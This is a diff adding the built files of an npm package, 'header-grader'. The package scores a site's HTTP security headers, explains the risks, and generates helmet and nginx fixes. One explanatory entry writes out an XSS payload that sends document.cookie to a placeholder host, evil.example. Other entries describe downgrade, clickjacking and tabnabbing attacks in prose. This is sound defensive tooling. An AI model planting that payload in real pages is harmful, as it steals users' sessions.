header-grader 0.1.0

package/dist/chunk-GQYXZFYW.js

@@ -0,0 +1,456 @@
+// src/rules.ts
+var RECOMMENDED = {
+  "Content-Security-Policy": "default-src 'self'; script-src 'self'; object-src 'none'; base-uri 'self'; frame-ancestors 'self'",
+  "Strict-Transport-Security": "max-age=31536000; includeSubDomains",
+  "X-Content-Type-Options": "nosniff",
+  "X-Frame-Options": "SAMEORIGIN",
+  "Referrer-Policy": "strict-origin-when-cross-origin",
+  "Permissions-Policy": "camera=(), microphone=(), geolocation=()",
+  "Cross-Origin-Opener-Policy": "same-origin",
+  "Cross-Origin-Resource-Policy": "same-origin"
+};
+var EXPLOITS = {
+  "Content-Security-Policy": "An attacker finds any injection point \u2014 a comment field, a search box reflected into the page, a compromised npm package \u2014 and plants <script>fetch('https://evil.example/?c='+document.cookie)</script>. Without CSP the browser runs it with your users' sessions: tokens stolen, keyloggers installed, fake login forms overlaid. With script-src 'self', that injected inline script is refused.",
+  "Strict-Transport-Security": "A user on coffee-shop Wi-Fi types your domain without https://. Their first request goes out over plain HTTP, and an attacker on the network (sslstrip-style) answers it, keeps them on HTTP, and reads or rewrites everything \u2014 including the login form they're about to submit. HSTS makes the browser refuse to ever use HTTP for your domain after the first visit.",
+  "X-Content-Type-Options": "Your app serves user uploads. An attacker uploads 'avatar.jpg' that actually contains HTML and JavaScript. Without nosniff, some browsers content-sniff the response, decide it's HTML, and execute the script in YOUR origin \u2014 stored XSS delivered through a file upload.",
+  "X-Frame-Options": "Clickjacking: an attacker's page loads your site in an invisible full-screen iframe and positions a fake 'Play video' button exactly over your real 'Delete account' or 'Transfer funds' button. The victim clicks their page but presses yours \u2014 with their logged-in session.",
+  "Referrer-Policy": "A user lands on your password-reset page: /reset?token=abc123. The page loads a third-party analytics script or the user clicks an external link \u2014 and the full URL, token included, is sent in the Referer header to that other origin. Anyone with access to those logs can reset the password.",
+  "Permissions-Policy": "Any script that gets into your page \u2014 a compromised ad, a hijacked third-party widget, an XSS payload \u2014 can prompt for camera, microphone, or geolocation, styled to look like your app is asking. Disabling features you don't use removes the entire capability, prompt and all.",
+  "Cross-Origin-Opener-Policy": "Your site opens (or is opened by) a malicious page: window.opener keeps a live handle across origins. That enables tabnabbing (rewriting your tab to a phishing clone while the user looks away) and XS-Leaks that probe frame counts and navigation state to infer what a logged-in user can see. COOP: same-origin severs that handle.",
+  "Cross-Origin-Resource-Policy": "A malicious site embeds your authenticated resources (API responses, user images) as no-cors subresources, pulling them into its process \u2014 where Spectre-class side channels can read them. CORP tells the browser to refuse cross-origin embedding outright.",
+  "X-Powered-By": "Reconnaissance: 'X-Powered-By: Express' tells an attacker exactly which framework CVEs and default behaviors to try. Version-scanning bots use this header to sort targets into exploit lists.",
+  Server: "A Server header with a version number ('nginx/1.25.3') lets attackers match your exact build against public CVE databases and skip straight to the exploits that apply to it.",
+  "X-XSS-Protection": "The legacy XSS auditor this header controls was itself exploitable: attackers abused it to selectively neutralize legitimate scripts (XS-Search side channels). Every modern browser has removed it \u2014 sending anything but '0' is at best noise, at worst a vulnerability on old browsers."
+};
+var HSTS_MIN_AGE = 15552e3;
+function result(rule, status, message, earnedFraction, recommended) {
+  return {
+    header: rule.header,
+    status,
+    message,
+    earned: Math.round(rule.weight * earnedFraction),
+    weight: rule.weight,
+    recommended
+  };
+}
+var csp = {
+  header: "Content-Security-Policy",
+  weight: 25,
+  check(ctx) {
+    const value = ctx.headers["content-security-policy"];
+    if (!value) {
+      return result(
+        this,
+        "fail",
+        "Missing. CSP is your strongest defense against XSS.",
+        0,
+        RECOMMENDED["Content-Security-Policy"]
+      );
+    }
+    const lower = value.toLowerCase();
+    const problems = [];
+    if (/script-src[^;]*'unsafe-inline'/.test(lower) || !lower.includes("script-src") && /default-src[^;]*'unsafe-inline'/.test(lower)) {
+      problems.push("'unsafe-inline' in scripts defeats most of CSP's XSS protection");
+    }
+    if (lower.includes("'unsafe-eval'")) {
+      problems.push("'unsafe-eval' allows eval()-based injection");
+    }
+    if (/(?:default-src|script-src)\s+[^;]*(?:^|\s)\*(?:\s|;|$)/.test(lower)) {
+      problems.push("wildcard (*) source allows scripts from anywhere");
+    }
+    if (problems.length > 0) {
+      return result(this, "warn", `Present, but: ${problems.join("; ")}.`, 0.5);
+    }
+    return result(this, "pass", "Present with no obviously unsafe directives.", 1);
+  }
+};
+var hsts = {
+  header: "Strict-Transport-Security",
+  weight: 20,
+  check(ctx) {
+    const value = ctx.headers["strict-transport-security"];
+    if (!value) {
+      if (ctx.isLocalHttp) {
+        return result(
+          this,
+          "warn",
+          "Missing \u2014 expected on plain-HTTP localhost (browsers ignore HSTS over HTTP), but make sure production sends it.",
+          0.75,
+          RECOMMENDED["Strict-Transport-Security"]
+        );
+      }
+      return result(
+        this,
+        "fail",
+        "Missing. Without HSTS, users can be downgraded to plain HTTP.",
+        0,
+        RECOMMENDED["Strict-Transport-Security"]
+      );
+    }
+    const maxAge = /max-age=(\d+)/i.exec(value);
+    const age = maxAge?.[1] ? parseInt(maxAge[1], 10) : 0;
+    if (age < HSTS_MIN_AGE) {
+      return result(
+        this,
+        "warn",
+        `max-age is ${age}s \u2014 recommend at least ${HSTS_MIN_AGE} (180 days).`,
+        0.5,
+        RECOMMENDED["Strict-Transport-Security"]
+      );
+    }
+    if (!/includesubdomains/i.test(value)) {
+      return result(this, "warn", "Present, but consider adding includeSubDomains.", 0.85);
+    }
+    return result(this, "pass", "Present with a strong max-age.", 1);
+  }
+};
+var contentTypeOptions = {
+  header: "X-Content-Type-Options",
+  weight: 10,
+  check(ctx) {
+    const value = ctx.headers["x-content-type-options"];
+    if (!value) {
+      return result(this, "fail", "Missing. Prevents MIME-type sniffing attacks.", 0, "nosniff");
+    }
+    if (value.trim().toLowerCase() !== "nosniff") {
+      return result(this, "warn", `Set to "${value}" \u2014 the only valid value is "nosniff".`, 0.25, "nosniff");
+    }
+    return result(this, "pass", "Set to nosniff.", 1);
+  }
+};
+var frameOptions = {
+  header: "X-Frame-Options",
+  weight: 10,
+  check(ctx) {
+    const xfo = ctx.headers["x-frame-options"];
+    const cspValue = ctx.headers["content-security-policy"] ?? "";
+    const hasFrameAncestors = /frame-ancestors/i.test(cspValue);
+    if (hasFrameAncestors) {
+      return result(this, "pass", "Covered by CSP frame-ancestors (supersedes X-Frame-Options).", 1);
+    }
+    if (!xfo) {
+      return result(
+        this,
+        "fail",
+        "Missing (and no CSP frame-ancestors). Your site can be framed for clickjacking.",
+        0,
+        "SAMEORIGIN"
+      );
+    }
+    const v = xfo.trim().toUpperCase();
+    if (v === "DENY" || v === "SAMEORIGIN") {
+      return result(this, "pass", `Set to ${v}.`, 1);
+    }
+    return result(this, "warn", `Set to "${xfo}" \u2014 use DENY or SAMEORIGIN (ALLOW-FROM is obsolete).`, 0.25, "SAMEORIGIN");
+  }
+};
+var referrerPolicy = {
+  header: "Referrer-Policy",
+  weight: 10,
+  check(ctx) {
+    const value = ctx.headers["referrer-policy"];
+    if (!value) {
+      return result(
+        this,
+        "fail",
+        "Missing. Full URLs (including query strings) leak to other origins.",
+        0,
+        RECOMMENDED["Referrer-Policy"]
+      );
+    }
+    const v = value.trim().toLowerCase();
+    const strong = /* @__PURE__ */ new Set([
+      "no-referrer",
+      "same-origin",
+      "strict-origin",
+      "strict-origin-when-cross-origin"
+    ]);
+    const weak = /* @__PURE__ */ new Set(["unsafe-url", "no-referrer-when-downgrade", "origin-when-cross-origin"]);
+    if (strong.has(v)) {
+      return result(this, "pass", `Set to ${v}.`, 1);
+    }
+    if (weak.has(v)) {
+      return result(this, "warn", `"${v}" leaks more than needed \u2014 prefer strict-origin-when-cross-origin.`, 0.5, RECOMMENDED["Referrer-Policy"]);
+    }
+    return result(this, "warn", `Set to "${value}".`, 0.5, RECOMMENDED["Referrer-Policy"]);
+  }
+};
+var permissionsPolicy = {
+  header: "Permissions-Policy",
+  weight: 10,
+  check(ctx) {
+    const value = ctx.headers["permissions-policy"];
+    if (!value) {
+      return result(
+        this,
+        "warn",
+        "Missing. Lets you disable powerful features (camera, mic, geolocation) you don't use.",
+        0,
+        RECOMMENDED["Permissions-Policy"]
+      );
+    }
+    return result(this, "pass", "Present.", 1);
+  }
+};
+var coop = {
+  header: "Cross-Origin-Opener-Policy",
+  weight: 5,
+  check(ctx) {
+    const value = ctx.headers["cross-origin-opener-policy"];
+    if (!value) {
+      return result(
+        this,
+        "warn",
+        "Missing. COOP isolates your window from cross-origin openers (Spectre-class protection).",
+        0,
+        RECOMMENDED["Cross-Origin-Opener-Policy"]
+      );
+    }
+    return result(this, "pass", `Set to ${value}.`, 1);
+  }
+};
+var corp = {
+  header: "Cross-Origin-Resource-Policy",
+  weight: 5,
+  check(ctx) {
+    const value = ctx.headers["cross-origin-resource-policy"];
+    if (!value) {
+      return result(
+        this,
+        "warn",
+        "Missing. CORP controls which origins may embed your resources.",
+        0,
+        RECOMMENDED["Cross-Origin-Resource-Policy"]
+      );
+    }
+    return result(this, "pass", `Set to ${value}.`, 1);
+  }
+};
+var poweredBy = {
+  header: "X-Powered-By",
+  weight: 0,
+  check(ctx) {
+    const value = ctx.headers["x-powered-by"];
+    if (value) {
+      return {
+        header: this.header,
+        status: "warn",
+        message: `Leaks "${value}" \u2014 remove it (in Express: app.disable('x-powered-by')).`,
+        earned: -3,
+        weight: 0
+      };
+    }
+    return { header: this.header, status: "pass", message: "Not sent.", earned: 0, weight: 0 };
+  }
+};
+var serverHeader = {
+  header: "Server",
+  weight: 0,
+  check(ctx) {
+    const value = ctx.headers["server"];
+    if (value && /\d/.test(value)) {
+      return {
+        header: this.header,
+        status: "warn",
+        message: `Leaks a version number ("${value}") \u2014 hide it (nginx: server_tokens off).`,
+        earned: -3,
+        weight: 0
+      };
+    }
+    return { header: this.header, status: "pass", message: value ? `"${value}" (no version leaked).` : "Not sent.", earned: 0, weight: 0 };
+  }
+};
+var xssProtection = {
+  header: "X-XSS-Protection",
+  weight: 0,
+  check(ctx) {
+    const value = ctx.headers["x-xss-protection"];
+    if (value && value.trim() !== "0") {
+      return {
+        header: this.header,
+        status: "warn",
+        message: `Deprecated and can introduce vulnerabilities \u2014 remove it or set to "0". Use CSP instead.`,
+        earned: -2,
+        weight: 0
+      };
+    }
+    return { header: this.header, status: "pass", message: "Not sent (good \u2014 it's deprecated).", earned: 0, weight: 0 };
+  }
+};
+var rules = [
+  csp,
+  hsts,
+  contentTypeOptions,
+  frameOptions,
+  referrerPolicy,
+  permissionsPolicy,
+  coop,
+  corp,
+  poweredBy,
+  serverHeader,
+  xssProtection
+];
+function runRules(ctx) {
+  return rules.map((rule) => {
+    const result2 = rule.check(ctx);
+    if (result2.status !== "pass") {
+      result2.exploit = EXPLOITS[result2.header];
+    }
+    return result2;
+  });
+}
+
+// src/grade.ts
+function scoreOf(results) {
+  const maxPoints = results.reduce((sum, r) => sum + r.weight, 0);
+  const earned = results.reduce((sum, r) => sum + r.earned, 0);
+  if (maxPoints === 0) return 0;
+  const pct = earned / maxPoints * 100;
+  return Math.max(0, Math.min(100, Math.round(pct)));
+}
+function gradeOf(score) {
+  if (score >= 95) return "A+";
+  if (score >= 88) return "A";
+  if (score >= 75) return "B";
+  if (score >= 60) return "C";
+  if (score >= 45) return "D";
+  return "F";
+}
+var GRADE_ORDER = ["F", "D", "C", "B", "A", "A+"];
+function meetsGrade(actual, minimum) {
+  return GRADE_ORDER.indexOf(actual) >= GRADE_ORDER.indexOf(minimum);
+}
+function isGrade(value) {
+  return GRADE_ORDER.includes(value);
+}
+
+// src/scan.ts
+var LOCAL_HOSTS = /* @__PURE__ */ new Set(["localhost", "127.0.0.1", "[::1]", "0.0.0.0"]);
+function isLocalHttpUrl(url) {
+  return url.protocol === "http:" && LOCAL_HOSTS.has(url.hostname);
+}
+function gradeHeaders(headers, opts = {}) {
+  const ctx = {
+    headers: normalizeHeaders(headers),
+    isLocalHttp: opts.isLocalHttp ?? false
+  };
+  const results = runRules(ctx);
+  const score = scoreOf(results);
+  return {
+    url: opts.url ?? "(headers)",
+    grade: gradeOf(score),
+    score,
+    results,
+    fetchedAt: (/* @__PURE__ */ new Date()).toISOString()
+  };
+}
+async function scan(rawUrl, opts = {}) {
+  const url = new URL(rawUrl.includes("://") ? rawUrl : `http://${rawUrl}`);
+  const res = await fetch(url, {
+    redirect: "follow",
+    signal: AbortSignal.timeout(opts.timeoutMs ?? 1e4),
+    headers: { "user-agent": "header-grader (local dev security check)" }
+  });
+  await res.arrayBuffer().catch(() => void 0);
+  const headers = {};
+  res.headers.forEach((value, key) => {
+    headers[key.toLowerCase()] = value;
+  });
+  return gradeHeaders(headers, { url: url.href, isLocalHttp: isLocalHttpUrl(url) });
+}
+function normalizeHeaders(headers) {
+  const out = {};
+  for (const [key, value] of Object.entries(headers)) {
+    out[key.toLowerCase()] = value;
+  }
+  return out;
+}
+
+// src/report.ts
+var useColor = process.stdout.isTTY && process.env["NO_COLOR"] === void 0;
+var wrap = (code) => (s) => useColor ? `\x1B[${code}m${s}\x1B[0m` : s;
+var red = wrap(31);
+var green = wrap(32);
+var yellow = wrap(33);
+var dim = wrap(2);
+var bold = wrap(1);
+var STATUS_ICON = {
+  pass: green("\u2713"),
+  warn: yellow("!"),
+  fail: red("\u2717")
+};
+function gradeColor(grade) {
+  if (grade === "A+" || grade === "A") return green;
+  if (grade === "B" || grade === "C") return yellow;
+  return red;
+}
+function wrapText(text, indent, width = 76) {
+  const words = text.split(/\s+/);
+  const lines = [];
+  let current = "";
+  for (const word of words) {
+    if (current && indent.length + current.length + 1 + word.length > width) {
+      lines.push(indent + current);
+      current = word;
+    } else {
+      current = current ? `${current} ${word}` : word;
+    }
+  }
+  if (current) lines.push(indent + current);
+  return lines;
+}
+function formatReport(report, options = {}) {
+  const lines = [];
+  const color = gradeColor(report.grade);
+  lines.push("");
+  lines.push(`  ${bold(color(`Grade: ${report.grade}`))}  ${dim(`(${report.score}/100)`)}  ${dim(report.url)}`);
+  lines.push("");
+  const scored = report.results.filter((r) => r.weight > 0).sort((a, b) => b.weight - a.weight);
+  const hygiene = report.results.filter((r) => r.weight === 0);
+  for (const r of scored) {
+    lines.push(`  ${STATUS_ICON[r.status]} ${bold(r.header)}`);
+    lines.push(`    ${dim(r.message)}`);
+    if (options.explain && r.exploit) {
+      lines.push(`    ${yellow("If exploited:")}`);
+      lines.push(...wrapText(r.exploit, "      ").map(dim));
+    }
+  }
+  const hygieneIssues = hygiene.filter((r) => r.status !== "pass");
+  if (hygieneIssues.length > 0) {
+    lines.push("");
+    lines.push(`  ${dim("Hygiene:")}`);
+    for (const r of hygieneIssues) {
+      lines.push(`  ${STATUS_ICON[r.status]} ${bold(r.header)}`);
+      lines.push(`    ${dim(r.message)}`);
+      if (options.explain && r.exploit) {
+        lines.push(`    ${yellow("If exploited:")}`);
+        lines.push(...wrapText(r.exploit, "      ").map(dim));
+      }
+    }
+  }
+  const fixable = report.results.some((r) => r.status !== "pass");
+  if (fixable) {
+    lines.push("");
+    if (!options.explain) {
+      lines.push(`  ${dim("Why it matters:")} header-grader ${report.url} --explain`);
+    }
+    lines.push(`  ${dim("Generate the fix:")} header-grader ${report.url} --fix express ${dim("(or --fix nginx)")}`);
+  }
+  lines.push("");
+  return lines.join("\n");
+}
+
+export {
+  RECOMMENDED,
+  EXPLOITS,
+  rules,
+  runRules,
+  scoreOf,
+  gradeOf,
+  meetsGrade,
+  isGrade,
+  isLocalHttpUrl,
+  gradeHeaders,
+  scan,
+  formatReport
+};

package/dist/chunk-IW5F2ZYM.js

@@ -0,0 +1,111 @@
+import {
+  RECOMMENDED
+} from "./chunk-GQYXZFYW.js";
+
+// src/generators/express.ts
+function generateExpress(report) {
+  const failing = new Set(
+    report.results.filter((r) => r.status !== "pass").map((r) => r.header)
+  );
+  const lines = [
+    "// npm install helmet",
+    'import helmet from "helmet";',
+    "",
+    "app.use(",
+    "  helmet({"
+  ];
+  if (failing.has("Content-Security-Policy")) {
+    lines.push(
+      "    contentSecurityPolicy: {",
+      "      directives: {",
+      `        defaultSrc: ["'self'"],`,
+      `        scriptSrc: ["'self'"], // add CDN origins here as needed`,
+      `        objectSrc: ["'none'"],`,
+      `        baseUri: ["'self'"],`,
+      `        frameAncestors: ["'self'"],`,
+      "      },",
+      "    },"
+    );
+  }
+  if (failing.has("Strict-Transport-Security")) {
+    lines.push(
+      "    strictTransportSecurity: {",
+      "      maxAge: 31536000, // 1 year \u2014 browsers only honor this over HTTPS",
+      "      includeSubDomains: true,",
+      "    },"
+    );
+  }
+  if (failing.has("X-Frame-Options")) {
+    lines.push('    xFrameOptions: { action: "sameorigin" },');
+  }
+  if (failing.has("Referrer-Policy")) {
+    lines.push('    referrerPolicy: { policy: "strict-origin-when-cross-origin" },');
+  }
+  if (failing.has("Cross-Origin-Opener-Policy")) {
+    lines.push('    crossOriginOpenerPolicy: { policy: "same-origin" },');
+  }
+  if (failing.has("Cross-Origin-Resource-Policy")) {
+    lines.push('    crossOriginResourcePolicy: { policy: "same-origin" },');
+  }
+  lines.push("  })", ");");
+  if (failing.has("Permissions-Policy")) {
+    lines.push(
+      "",
+      "// Helmet doesn't set Permissions-Policy \u2014 add it yourself:",
+      "app.use((req, res, next) => {",
+      `  res.setHeader("Permissions-Policy", "${RECOMMENDED["Permissions-Policy"]}");`,
+      "  next();",
+      "});"
+    );
+  }
+  if (failing.has("X-Powered-By")) {
+    lines.push("", "// Stop advertising Express:", 'app.disable("x-powered-by");');
+  }
+  return lines.join("\n");
+}
+
+// src/generators/nginx.ts
+function generateNginx(report) {
+  const failing = new Set(
+    report.results.filter((r) => r.status !== "pass").map((r) => r.header)
+  );
+  const lines = ["# Add inside your server {} block"];
+  const addable = [
+    "Content-Security-Policy",
+    "Strict-Transport-Security",
+    "X-Content-Type-Options",
+    "X-Frame-Options",
+    "Referrer-Policy",
+    "Permissions-Policy",
+    "Cross-Origin-Opener-Policy",
+    "Cross-Origin-Resource-Policy"
+  ];
+  for (const header of addable) {
+    if (failing.has(header)) {
+      lines.push(`add_header ${header} "${RECOMMENDED[header]}" always;`);
+    }
+  }
+  if (failing.has("Server")) {
+    lines.push("", "# Hide the nginx version number:", "server_tokens off;");
+  }
+  if (failing.has("X-Powered-By")) {
+    lines.push(
+      "",
+      "# Strip the backend's X-Powered-By before it reaches clients:",
+      "proxy_hide_header X-Powered-By;"
+    );
+  }
+  if (failing.has("X-XSS-Protection")) {
+    lines.push(
+      "",
+      "# X-XSS-Protection is deprecated; strip it from the backend:",
+      "proxy_hide_header X-XSS-Protection;"
+    );
+  }
+  return lines.join("\n");
+}
+
+export {
+  generateExpress,
+  generateNginx
+};

package/dist/chunk-O3B2LYGP.js

@@ -0,0 +1,45 @@
+import {
+  formatReport,
+  gradeHeaders
+} from "./chunk-GQYXZFYW.js";
+
+// src/middleware.ts
+function headerGrader(options = {}) {
+  const { watch = false, explain = false, onReport, isLocalHttp = true } = options;
+  let done = false;
+  let lastGrade;
+  return function headerGraderMiddleware(req, res, next) {
+    if (done && !watch) return next();
+    res.once("finish", () => {
+      if (done && !watch) return;
+      const contentType = String(res.getHeader("content-type") ?? "");
+      const isDocument = contentType.includes("text/html") || contentType === "";
+      if (!isDocument) return;
+      const headers = {};
+      for (const [key, value] of Object.entries(res.getHeaders())) {
+        if (value !== void 0) {
+          headers[key.toLowerCase()] = Array.isArray(value) ? value.join(", ") : String(value);
+        }
+      }
+      const report = gradeHeaders(headers, {
+        url: `${req.method ?? "GET"} ${req.url ?? "/"}`,
+        isLocalHttp
+      });
+      done = true;
+      if (watch && report.grade === lastGrade) return;
+      lastGrade = report.grade;
+      if (onReport) {
+        onReport(report);
+      } else {
+        console.log(formatReport(report, { explain }));
+      }
+    });
+    next();
+  };
+}
+var middleware_default = headerGrader;
+
+export {
+  headerGrader,
+  middleware_default
+};